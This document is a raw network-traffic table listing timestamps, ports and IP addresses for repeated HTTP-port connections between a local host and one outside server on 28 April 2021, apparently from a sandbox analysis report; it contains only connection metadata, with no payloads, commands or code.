Apr 28, 2021 23:25:09.852811098 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.852929115 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.852998972 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.853012085 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.853158951 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.853182077 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.853233099 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.893460035 CEST	80	50370	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.897969007 CEST	80	50370	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.898103952 CEST	50370	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:09.948394060 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.948431015 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.948577881 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.948606014 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.948728085 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.948870897 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.949064970 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.949461937 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.949563980 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.949726105 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.949759960 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.950095892 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.950123072 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.950149059 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.950175047 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.950197935 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.950223923 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.950268984 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.951802015 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:09.953349113 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.010929108 CEST	50370	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.012264013 CEST	50371	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.052237988 CEST	80	50369	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:10.052557945 CEST	50369	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.106178999 CEST	80	50371	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:10.106481075 CEST	80	50370	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:10.106975079 CEST	50370	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.107877016 CEST	50371	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.108257055 CEST	50371	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.202714920 CEST	80	50371	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:10.206336975 CEST	80	50371	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:10.206417084 CEST	50371	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.326663971 CEST	50371	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.328713894 CEST	50373	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.421197891 CEST	80	50371	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:10.425076962 CEST	50371	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.431977987 CEST	80	50373	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:10.432450056 CEST	50373	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.434458971 CEST	50373	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.535873890 CEST	80	50373	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:10.539935112 CEST	80	50373	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:10.540024996 CEST	50373	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.651920080 CEST	50373	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.654644012 CEST	50374	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.750617981 CEST	80	50374	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:10.750715017 CEST	50374	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.751399040 CEST	50374	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.753066063 CEST	80	50373	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:10.753418922 CEST	50373	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.848740101 CEST	80	50374	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:10.852745056 CEST	80	50374	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:10.852824926 CEST	50374	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.964289904 CEST	50374	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:10.966437101 CEST	50375	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.060003042 CEST	80	50374	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:11.060168982 CEST	50374	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.062849045 CEST	80	50375	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:11.063471079 CEST	50375	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.064877987 CEST	50375	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.160897017 CEST	80	50375	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:11.164911985 CEST	80	50375	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:11.165076971 CEST	50375	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.277235031 CEST	50375	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.278867960 CEST	50376	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.372425079 CEST	80	50376	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:11.372652054 CEST	80	50375	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:11.372663021 CEST	50376	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.373450041 CEST	50375	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.373496056 CEST	50376	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.468281984 CEST	80	50376	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:11.471898079 CEST	80	50376	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:11.471997023 CEST	50376	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.589476109 CEST	50376	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.591204882 CEST	50378	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.682946920 CEST	80	50376	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:11.683053970 CEST	50376	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.691160917 CEST	80	50378	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:11.691262960 CEST	50378	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.691869974 CEST	50378	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.792104006 CEST	80	50378	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:11.795905113 CEST	80	50378	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:11.796092987 CEST	50378	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.901793957 CEST	50378	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:11.903217077 CEST	50379	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.000394106 CEST	80	50379	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.000591040 CEST	50379	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.001255035 CEST	50379	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.001730919 CEST	80	50378	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.001812935 CEST	50378	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.098484039 CEST	80	50379	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.101861954 CEST	80	50379	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.102169991 CEST	50379	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.215584993 CEST	50379	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.215962887 CEST	50380	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.311461926 CEST	80	50380	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.311660051 CEST	50380	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.312272072 CEST	80	50379	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.312271118 CEST	50380	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.312453032 CEST	50379	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.407593012 CEST	80	50380	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.411689043 CEST	80	50380	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.411840916 CEST	50380	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.531646967 CEST	50380	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.533823013 CEST	50381	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.585424900 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.626753092 CEST	80	50380	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.626872063 CEST	50380	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.629174948 CEST	80	50381	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.629276037 CEST	50381	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.630050898 CEST	50381	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.682854891 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.683203936 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.683252096 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.723898888 CEST	80	50381	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.728020906 CEST	80	50381	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.728108883 CEST	50381	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.780647039 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.780677080 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.780689001 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.780770063 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.780812025 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.780838966 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.781073093 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.842704058 CEST	50381	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.844189882 CEST	50383	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.878211021 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.878237963 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.878251076 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.878278971 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.878290892 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.878302097 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.878427982 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.878436089 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.878515005 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.878571987 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.936295033 CEST	80	50381	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.936383963 CEST	50381	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.951791048 CEST	80	50383	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.951920033 CEST	50383	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.952661991 CEST	50383	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.975799084 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.975826025 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.975840092 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.975918055 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.975966930 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.976021051 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.976032972 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.976128101 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.976151943 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.976228952 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.976319075 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.976417065 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:12.976516962 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:12.976589918 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.061686039 CEST	80	50383	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.065099001 CEST	80	50383	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.065381050 CEST	50383	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.075282097 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.075308084 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.075315952 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.075328112 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.075426102 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.075440884 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.075911999 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.076057911 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.076216936 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.076251984 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.076375961 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.077980042 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.078005075 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.078176022 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.078696966 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.078825951 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.080372095 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.080533981 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.167793989 CEST	50383	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.168901920 CEST	50385	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.177948952 CEST	80	50382	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.179486036 CEST	50382	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.267551899 CEST	80	50385	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.267652988 CEST	50385	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.268213987 CEST	50385	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.276597977 CEST	80	50383	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.277698994 CEST	50383	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.365125895 CEST	80	50385	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.369477034 CEST	80	50385	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.369600058 CEST	50385	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.479984045 CEST	50385	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.481479883 CEST	50386	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.578668118 CEST	80	50385	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.578891993 CEST	50385	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.586374998 CEST	80	50386	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.586570978 CEST	50386	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.587228060 CEST	50386	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.691361904 CEST	80	50386	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.694664955 CEST	80	50386	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.694820881 CEST	50386	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.808800936 CEST	50386	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.811505079 CEST	50387	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.911520004 CEST	80	50387	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.912532091 CEST	50387	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.912713051 CEST	80	50386	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:13.912801027 CEST	50386	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:13.912982941 CEST	50387	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.013211966 CEST	80	50387	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:14.017179012 CEST	80	50387	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:14.017343044 CEST	50387	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.120765924 CEST	50387	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.122616053 CEST	50389	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.220416069 CEST	80	50387	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:14.220514059 CEST	50387	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.224447012 CEST	80	50389	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:14.224628925 CEST	50389	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.225266933 CEST	50389	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.327969074 CEST	80	50389	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:14.331907034 CEST	80	50389	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:14.332082987 CEST	50389	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.448937893 CEST	50389	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.449954033 CEST	50390	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.547827005 CEST	80	50390	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:14.548002005 CEST	50390	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.549468040 CEST	50390	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.550767899 CEST	80	50389	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:14.550889015 CEST	50389	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.647864103 CEST	80	50390	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:14.652266026 CEST	80	50390	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:14.652427912 CEST	50390	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.762530088 CEST	50390	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.765564919 CEST	50391	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.861979008 CEST	80	50390	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:14.862078905 CEST	50390	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.867691040 CEST	80	50391	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:14.867927074 CEST	50391	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.868756056 CEST	50391	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:14.968775034 CEST	80	50391	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:14.972645998 CEST	80	50391	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:14.972749949 CEST	50391	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.090712070 CEST	50391	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.093308926 CEST	50392	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.190887928 CEST	80	50392	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.191129923 CEST	50392	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.192245960 CEST	50392	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.192289114 CEST	80	50391	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.192394018 CEST	50391	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.290273905 CEST	80	50392	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.293945074 CEST	80	50392	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.294053078 CEST	50392	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.342379093 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.404570103 CEST	50392	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.405942917 CEST	50394	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.439235926 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.439435005 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.439872026 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.502285957 CEST	80	50392	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.502443075 CEST	50392	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.505167007 CEST	80	50394	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.505310059 CEST	50394	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.506181955 CEST	50394	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.537949085 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.537978888 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.537988901 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.538060904 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.538064957 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.538109064 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.538134098 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.604468107 CEST	80	50394	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.608659029 CEST	80	50394	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.608856916 CEST	50394	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.634954929 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.634979963 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.634990931 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.635092020 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.635149956 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.635225058 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.635267973 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.635283947 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.635395050 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.714466095 CEST	50394	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.715826035 CEST	50395	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.732017994 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.732044935 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.732055902 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.732175112 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.732204914 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.732201099 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.732255936 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.732276917 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.732335091 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.732428074 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.732575893 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.732589960 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.732641935 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.732667923 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.732683897 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.732753992 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.732850075 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.810558081 CEST	80	50395	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.810739994 CEST	50395	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.811338902 CEST	50395	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.813060999 CEST	80	50394	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.813159943 CEST	50394	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.830240965 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.830285072 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.830676079 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.830873966 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.830905914 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.831018925 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.831051111 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.831471920 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.831657887 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.831774950 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.831815004 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.832309961 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.832882881 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.832923889 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.832967043 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.833142042 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.833400011 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.835071087 CEST	80	50393	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.835199118 CEST	50393	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:15.904653072 CEST	80	50395	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.908610106 CEST	80	50395	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:15.908732891 CEST	50395	80	192.168.2.5	176.111.174.114
